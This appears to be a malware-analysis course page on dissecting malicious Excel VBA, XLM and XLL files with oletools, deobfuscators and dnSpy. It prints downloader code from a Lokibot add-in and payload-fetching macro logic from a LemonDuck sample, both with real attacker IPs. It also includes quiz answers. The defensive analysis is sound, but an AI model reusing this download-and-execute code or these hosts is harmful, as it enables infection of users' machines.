# Excel Macro Analysis

Adversaries often exploit Excel 4.0 macros to execute malicious actions upon opening a document. This section analyzes a malicious Office file, detailing attacker techniques and defense strategies. Excel's macro capabilities, including VBA and API calls, are commonly abused to obfuscate code, download payloads, and execute system commands.

## VBA vs XLM Macros

In the previous sections, we have already seen the abuse of macros to gain code execution on the target system. Interestingly, those macros are VBA-based. Hence, when we extract the contents of, say, a Word file, we will see a dedicated directory for the VBA macro project used inside the document. Excel is an exception when it comes to macros.

Excel has mainly two types of macros:

* `Excel 5.0 Macros`
* `Excel 4.0 Macros`&#x20;

Users can choose between two macro standards: the modern Excel 5.0 VBA-based macros and the legacy Excel 4.0 XLM macros. XLM macros, stored in OLE streams, are often favored by attackers to bypass security measures. Excel, part of Microsoft 365, supports powerful automation through VBA, which can be abused to obfuscate code, invoke Windows APIs, download malicious payloads, and execute system programs.

## Excel 5.0 Macros (VBA)

Excel VBA Macros, similar to those in Word, are embedded using Visual Basic for Applications. They can be accessed via **Alt+F11** or **View > Macro > View Macros**, opening the VBA editor with visible macro code, as shown in the screenshot.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FFmRSnPhQkkIR05ze9caA%2Fexcel-vbas2.webp?alt=media&#x26;token=4b396fde-d384-4e16-856d-532985bea3ad" alt=""><figcaption></figcaption></figure>

To get the details of the VBA macro code, we can use `olevba.py`.

```bash
python c:\tools\maldoc\office\tools\oletools\olevba.py c:\Tools\Maldoc\Office\Demo\Samples\Excel\Demo\VBA\update-kb.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FHxjkkAj1YY4N3LsWg7WM%2FScreenshot(22).png?alt=media&#x26;token=fb1a687f-c4d6-40a5-8a38-183003a2282c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FNXciSPzNFyRtGkgSA2YZ%2FScreenshot(23).png?alt=media&#x26;token=5c20d446-4f75-4833-ae64-5859f3211048" alt=""><figcaption></figcaption></figure>

## Excel 4.0 Macros (XLM)

These files show no macros when opened with Alt+F11, the shortcut for accessing VBA in Excel.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F5l0mYdxMd1JrazEgzOMA%2Fexcel-xlm--3.webp?alt=media&#x26;token=183ffb30-9796-4718-b62e-49840f9dca40" alt=""><figcaption></figcaption></figure>

So the question is how is the malicious code inserted in these files?

**The answer is Excel 4.0 Macro.**

When attackers create an excel file, they insert an MS Excel 4.0 macro sheet in the workbook.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJmsMe0caUon0jMn12Qhe%2Fexcel-xlm--4.webp?alt=media&#x26;token=b409d9f8-50b2-4479-bd4d-7753cfde61d0" alt=""><figcaption></figcaption></figure>

These sheets are often hidden in this kind of files.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FE1yh5ZwxM1VrkK45Ecpf%2Fexcel-xlm--2.webp?alt=media&#x26;token=b17ded3a-8718-485b-a094-7eca949639d8" alt=""><figcaption></figcaption></figure>

Formulas are often in white text color on a white background. This makes them hidden from the eyes of the end user or analyst. However, they are still visible programmatically, such as by using tools like `olevba`, etc.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJyEHRNmX7OacbL2xEoxh%2Fexcel-xlm--5.webp?alt=media&#x26;token=784d8241-c076-4548-80d9-9a4659f8b29a" alt=""><figcaption></figcaption></figure>

## Internal Structure of Excel Files

Excel files, particularly those saved in the `.xls` or `.xlsx` format, are complex structures composed of various components:

* **Worksheets:** Main data containers arranged in a grid of cells holding text, numbers, or formulas.
* **Workbook:** The overarching file structure containing one or more worksheets and other components.
* **Macros:** Embedded VBA or Excel 4.0 scripts used for automation; can pose security risks.
* **Cells:** Basic data units within worksheets, capable of storing text, numbers, or formulas.
* **OLE Objects:** Embedded content like images or documents using Object Linking and Embedding (OLE).

Modern Excel (.xlsx) files use an XML-based structure, with key data stored in `workbook.xml`, which defines the workbook layout and includes `<sheet>` tags listing all sheets. Analyzing these tags helps identify hidden sheets—often used by attackers to conceal malicious Excel 4.0 macros—by checking attributes like `state="hidden"`.

Let's start with getting some basic information about the file type we are dealing with using `trid`:

```bash
trid C:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\Urgent-patch-ALL.xls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FXBEoc0qbgBqubZ4QI2m4%2FScreenshot(24).png?alt=media&#x26;token=665e19cc-b9be-4143-b1a1-0c5a521b740f" alt=""><figcaption></figcaption></figure>

Next, we can run `strings` on the file:

```bash
strings C:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\Urgent-patch-ALL.xls | findstr /I "http url exe dll"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FWV5jcMzb6h60oEXmqlbh%2FScreenshot(25).png?alt=media&#x26;token=b7778854-dace-46c3-b1ae-30d9781827ec" alt=""><figcaption></figcaption></figure>

Sometimes, search using `strings` can also provide some useful information. For example, the PowerShell related command in the above output can be revealed.

Let's check some basic information using the `OLEID`.

```bash
python C:\Tools\MalDoc\Office\Tools\oletools\oleid.py c:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\urgent-patch-all.xls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FMkpg6JlKeFvvIhgOfizx%2FScreenshot(26).png?alt=media&#x26;token=7e0434fd-c676-4d98-8a00-097723344413" alt=""><figcaption></figcaption></figure>

As shown in the output from OLEID, the file contains XLM macros and suggests using `olevba` to analyse them.

```bash
python C:\Tools\MalDoc\Office\Tools\oletools\olevba.py c:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\urgent-patch-all.xls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FXjpUtdtvImZi8yF4M1ou%2FScreenshot(27).png?alt=media&#x26;token=4db1e40c-7e29-48c2-8be0-0caf8392e21a" alt=""><figcaption></figcaption></figure>

OLEDUMP includes several plugins, notably `plugin_biff`, which is used to analyze the older Excel 97–2003 BIFF format and detect potential Excel 4.0 macro usage.

```bash
python C:\Tools\MalDoc\Office\Tools\oletools\oledump\oledump.py c:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\urgent-patch-all.xls -p plugin_biff 
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F5Ev50yKqvHtR6foDIHap%2FScreenshot(28).png?alt=media&#x26;token=14ac7b22-ed69-47ba-8e74-8d6d86c00edb" alt=""><figcaption></figcaption></figure>

This plugins parses BIFF format in `.xls` files (e.g., Excel 4 macros) and provides lot of information. We need to filter the required information related to Excel 4 macros. The `-x` option will select all records relevant for Excel 4 macros:

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F614vhlfZTpqlwOrNDUyB%2FScreenshot(30).png?alt=media&#x26;token=6b7320ec-6e41-4d5c-8639-4dd649ef1ad0" alt=""><figcaption></figcaption></figure>

This shows us all records relevant to Excel 4.0 macros. We can also see the records that contains suspicious commands.

## Hidden sheets

Workbook sheets may be hidden or "very hidden," but can be detected using `plugin_biff`, YARA signatures, or revealed directly in Microsoft Office.

From the UI of MS Excel, we can see the hidden sheet by doing a "Right click" on the sheets and selecting "Unhide".

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FlDakPND89LO0uuqoA8Tz%2Fexcel_xlm-13.webp?alt=media&#x26;token=2ba9b564-8f25-419c-9f7b-1418a50dc55a" alt=""><figcaption></figcaption></figure>

Select the hidden sheet, and click ok to unhide it.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Flc0lg94Xzc5hRYQFAUZc%2Fexcel_xlm-14.webp?alt=media&#x26;token=82c70453-f644-46bb-9ece-26a49d966b42" alt=""><figcaption></figcaption></figure>

This is how the hidden sheet looks like - completely blank.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FRgWFWkEg22oPTMhMcqDl%2Fexcel_xlm-15.webp?alt=media&#x26;token=f71d8b63-4611-4897-ba16-fb6e73da6621" alt=""><figcaption></figcaption></figure>

Select all and change font color to something dark.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FGQqnp1tQ0LQIj8DUvDii%2FScreenshot(32).png?alt=media&#x26;token=a9dbd125-e85f-4cc8-a39d-f6bd14ed96dc" alt=""><figcaption></figcaption></figure>

This technique is often used by adversaries to hide formulas from the analyst's eyes. We will now use XLMMacroDeobfuscator to extract the XLM or Excel 4.0 macros.

```bash
XLMDeobfuscator --file c:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\urgent-patch-all.xls
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FBDMeILL6q158tSTWwimN%2FScreenshot(33).png?alt=media&#x26;token=cacd65c5-69a7-4de0-a146-51dfa70cac59" alt=""><figcaption></figcaption></figure>

## AMSI Monitoring

AMSI can help analyze malware behavior without manual deobfuscation, though it requires execution. The `AMSIScriptContentRetrieval` PowerShell script leverages the AMSI ETW provider to extract script content, which we will demonstrate.

First, we need to start an ETW trace for the provider `Microsoft-Antimalware-Scan-Interface`:

```powershell
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
```

Execute the malicious macro or scripts after starting the trace, and they will be logged by AMSI. Then stop the trace by using below command:

```bash
logman stop AMSITrace -ets
```

Then, we'll run the script to extract the deobfuscated content from AMSI:

```powershell
C:\Tools\MalDoc\Office\Demo\Samples\Excel\Demo\AMSIScriptContentRetrieval.ps1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Ffw6CNBGYnuk2qZtBtR9M%2FScreenshot(34).png?alt=media&#x26;token=926f2a2a-49d6-44d0-9812-2aff13caee6f" alt=""><figcaption></figcaption></figure>

## Questions

Q1) Perform analysis of Excel VBA macro file "update-kb.xlsm" located at "C:\Tools\Maldoc\Office\Demo\Samples\Excel\Demo\VBA". The macro code runs the downloaded executable using a PowerShell cmdlet. Type the name of the PowerShell cmdlet as your answer. Answer format is \*\*\*\*\*-\*\*\*\*\*\*s

```bash
 python c:\tools\maldoc\office\tools\oletools\olevba.py C:\Tools\Maldoc\Office\Demo\Samples\Excel\Demo\VBA\update-kb.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fyy5QzYqYTF6QaVUdp4Na%2FScreenshot(35).png?alt=media&#x26;token=782582d7-c071-472e-971d-9c2656ac26c0" alt=""><figcaption></figcaption></figure>

Answer:  `Start-Process`&#x20;

## Obfuscated Excel 4.0 Macro (XLM)

We'll start with getting some basic information about the file we are dealing with using `trid`:

```bash
trid C:\Tools\MalDoc\Office\Demo\Samples\Excel\LemonDuck\Document_1997713103_03232021_Copy.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FVgEEHxtwwEkkM1Y5FLqW%2FScreenshot(36).png?alt=media&#x26;token=95a33f57-b297-403d-ae37-33554a5d7734" alt=""><figcaption></figcaption></figure>

Next, we'll check some more information related to this file using `OleId`, which shows that there are XLM macros present in this file.

```bash
python C:\Tools\MalDoc\Office\Tools\oletools\oleid.py C:\Tools\MalDoc\Office\Demo\Samples\Excel\LemonDuck\Document_1997713103_03232021_Copy.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FbfulKCAHnmq4rUxUNmcc%2FScreenshot(37).png?alt=media&#x26;token=c038050f-4ecb-463d-b5d4-856cdf3081f3" alt=""><figcaption></figcaption></figure>

OleId suggests that this file contains XLM macros. We'll use olevba to analyze them.

```bash
python C:\Tools\MalDoc\Office\Tools\oletools\olevba.py C:\Tools\MalDoc\Office\Demo\Samples\Excel\LemonDuck\Document_1997713103_03232021_Copy.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F7lRypZK6QStVOhuFWLLv%2FScreenshot(38).png?alt=media&#x26;token=d6fbce42-8bd6-4ac6-8a37-a675ebcb1afb" alt=""><figcaption></figcaption></figure>

Olevba shows the details of the raw EXCEL4/XLM macro formulas. It also shows the deobfuscated EXCEL4/XLM macro formulas at the bottom.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FvFi5dXvSpzUO4jYxDXQe%2FScreenshot(39).png?alt=media&#x26;token=023a7b08-edee-485a-87a6-32add016e4c1" alt=""><figcaption></figcaption></figure>

We can see the suspicious URLs that host the malicious files.

Zipdump gives us a glimpse of what's inside the Excel file.

```bash
python C:\Tools\MalDoc\Office\Tools\DidierStevensSuite\zipdump.py C:\Tools\MalDoc\Office\Demo\Samples\Excel\LemonDuck\Document_1997713103_03232021_Copy.xlsm
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F33N1CVfpNXk0c15cHohl%2FScreenshot(40).png?alt=media&#x26;token=df2f75b6-c7b2-4f7d-93ff-d4903c2f7b10" alt=""><figcaption></figcaption></figure>

We start our manual analysis by extracting the Excel file with the 7zip utility. The output below shows the contents of the sample Excel file.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FVf4JqiVmAaouJ7xKAdAA%2FScreenshot(41).png?alt=media&#x26;token=ffbe8cd8-0c7c-40bf-b1c7-fba6c6f9224a" alt=""><figcaption></figcaption></figure>

There is one directory named "`xl`". The image below shows the contents in the "`xl`" directory.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FPjTDeFQ7MbX9uZLYR3Wd%2FScreenshot(42).png?alt=media&#x26;token=3d53a2fd-a97d-409d-b476-fa727f3bac70" alt=""><figcaption></figcaption></figure>

The `workbook.xml` file contains essential details about the Excel project, useful for identifying hidden, potentially malicious sheets and macros during analysis.

`sharedStrings.xml` is another very important file we need to check to uncover all strings used in the project. The Excel project uses indices in this document to reference the strings.

Finally, the directory `macrosheets` contains our malicious macros.

## Automating the XLM Deobfuscation

The tool [XLMMacroDeobfuscator](https://github.com/DissectMalware/XLMMacroDeobfuscator) can automate the manual process of XLM deobfuscation. This tool emulates macro code execution to produce deobfuscated macro code.

```bash
xlmdeobfuscator --file "C:\Tools\MalDoc\Office\Demo\Samples\Excel\LemonDuck\Document_1997713103_03232021_Copy.xlsm"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fwkk28S0MRsBwYB0N0ceI%2FScreenshot(43).png?alt=media&#x26;token=5e5167a2-b372-4cd1-a79e-ce9e3cf801fe" alt=""><figcaption></figcaption></figure>

When the user opens the document, macro in the sheet1 is invoked. This will download three payloads - `doka`,`doka1`, and `doka2` from 188.127.227.99, 45.150.67.29 and 195.123.213.126, respectively, by invoking `URLDownloadToFileA` from `urlmon.dll`.

Then the macro in the sheet2 is executed. The macro in the sheet2 simply uses the `=EXEC()` function to run `rundll32`. The `rundll32` is used to invoke the function `DllRegisterServer` exported by `doka`, `doka1`, and `doka2`.

## Excel-DNA C# XLL Add-ins (Lokibot)

Malware groups are increasingly using malicious Excel Add-in (XLL) files—DLL-like components that extend Excel via API calls—as a powerful alternative to VBA for executing malicious code.

Most files like this are made using **C or C++** and run directly in Excel. But developers can also make them using **C#**. This mixes the speed of Excel files with the ease of C#. To do this, they use **Excel DNA**—a free tool that helps create powerful Excel add-ins with C#. These add-ins can add new features, automate tasks, and more.

### How Excel DNA Works?

Excel DNA works by wrapping `.NET` code into a native XLL wrapper that Excel can load. The core components of an Excel DNA Add-In include:

* `ExcelDna.Integration`: This is the primary library that enables integration with Excel. It provides attributes and classes for creating custom Excel functions, macros, and ribbon extensions.
* `ExcelDna.AddIn`: This defines the entry point of the XLL Add-In and contains the logic for loading and managing the Add-In's functionality.
* `.dna File`: This XML-based file defines the Add-In's configuration, specifying which .NET assemblies to load, any additional references, and the Add-In’s main class.

This `.dna` XML file is very important as it will help us identify which DLL file to analyze.

The first thing we can look for is the type `DNA` in the resources upon opening this sample in PE-Bear.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fv5Zg0OeQofFqfP4JpwlK%2FScreenshot(44).png?alt=media&#x26;token=a13dfa94-54ee-401f-a081-4ef5976b1b04" alt=""><figcaption></figcaption></figure>

We'll use an open-source project called [ExcelDna-Unpack](https://github.com/augustoproiete/exceldna-unpack), which is a command-line utility to extract the contents of Excel-DNA add-ins.

```bash
C:\Tools\exceldna-unpack\exceldna-unpack.exe --xllFile="MV SEAMELODY.xll"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fz5QVFTVugnGvmzkhXquS%2FScreenshot(45).png?alt=media&#x26;token=506a8df2-b3e0-49e7-a4af-5d0d0ae41827" alt=""><figcaption></figcaption></figure>

Let's open the DNA file in Notepad++ or another text editor.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FL9Rave0a8yHQu9LhT7aq%2FScreenshot(46).png?alt=media&#x26;token=836328d0-df64-4828-9fa0-0982d769b681" alt=""><figcaption></figcaption></figure>

The `.dna` file defines the configuration of the Excel-DNA add-in in XML format, including an `ExternalLibrary` element that embeds a library within the package under the identifier `EXCEL NEW`.

Now we need to analyze this file the `EXCEL NEW`, which is present in the unpacked directory. To verify the file type, we can use `trid` or another tool called [Detect It Easy](https://github.com/horsicq/Detect-It-Easy), which can help determine types of files.

```bash
trid "unpacked\EXCEL NEW.dll"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FT32iMtyBRmKfGsfRCGzL%2FScreenshot(47).png?alt=media&#x26;token=4cff795f-acba-4df3-ad39-0c5add47bc33" alt=""><figcaption></figcaption></figure>

Since these XLL add-ins use a .NET DLL (as indicated by the `.dna` configuration file), [dnSpy](https://github.com/dnSpy/dnSpy) is an excellent tool for analyzing them.

Let's drag and drop the DLL file `EXCEL NEW.dll` (which is referenced in the .dna file) from the unpacked directory into dnSpy.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FpaJWwjGQtVtdI7UvLtuo%2FScreenshot(48).png?alt=media&#x26;token=5ab3e357-1bee-49c4-962c-bf0b9ea7ffa4" alt=""><figcaption></figcaption></figure>

Once the DLL is loaded, dnSpy decompiles it into readable C# and displays its structure. You can explore methods and classes—especially public ones exposed via the XLL add-in—to identify suspicious behavior like external calls or file access.

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FgJXs75MW7FKhgi5S7BVm%2FScreenshot(49).png?alt=media&#x26;token=17115974-1a7f-463b-8127-859b5cc6c430" alt=""><figcaption></figcaption></figure>

The code is within the `excel_new.ExcelDNANS` namespace, and the primary class of interest is `ExcelDNAInt`, which implements the `IExcelAddIn` interface from `ExcelDna`.

Inside it, there is an `Auto_Open` method, which is an event handler that executes when the Excel add-in is loaded (similar to an `Auto_Open` macro in VBA). This method is where the malicious activity takes place.

The line below configures the .NET framework to use TLS 1.2 when making network connections, ensuring that the download occurs over a secure connection.

```csharp
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
```

The code uses `WebClient` to download an executable file from a specified URL (`hxxp[:]103[.]89[.]90[.]10/intelpro/goa[.]exe`).

```csharp
byte[] bytes = new WebClient().DownloadData("http[:]103[.]89[.]90[.]10/intelpro/goa[.]exe");
```

The downloaded file is saved to the user's Temp directory as `sse.exe`.

```csharp
File.WriteAllBytes(Environment.GetEnvironmentVariable("Temp") + "\\sse.exe", bytes);
```

## **Questions**

Q1) Open the XLL sample "C:\Tools\MalDoc\Office\Demo\Samples\xll\lokibot\MV SEAMELODY.xll" in the PE-Bear. Go to the Exports tab and figure out the name of the Exported function that ends with Open. Type the function name as your answer. Answer Format is \*\*\*\*\*\*Open

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F51D5oCyGa1oFuAaaZ14X%2FScreenshot(50).png?alt=media&#x26;token=3b77d727-65ee-4e2f-8c33-e94d3621d52d" alt=""><figcaption></figcaption></figure>

Answer:  `xlAutoOpen`&#x20;
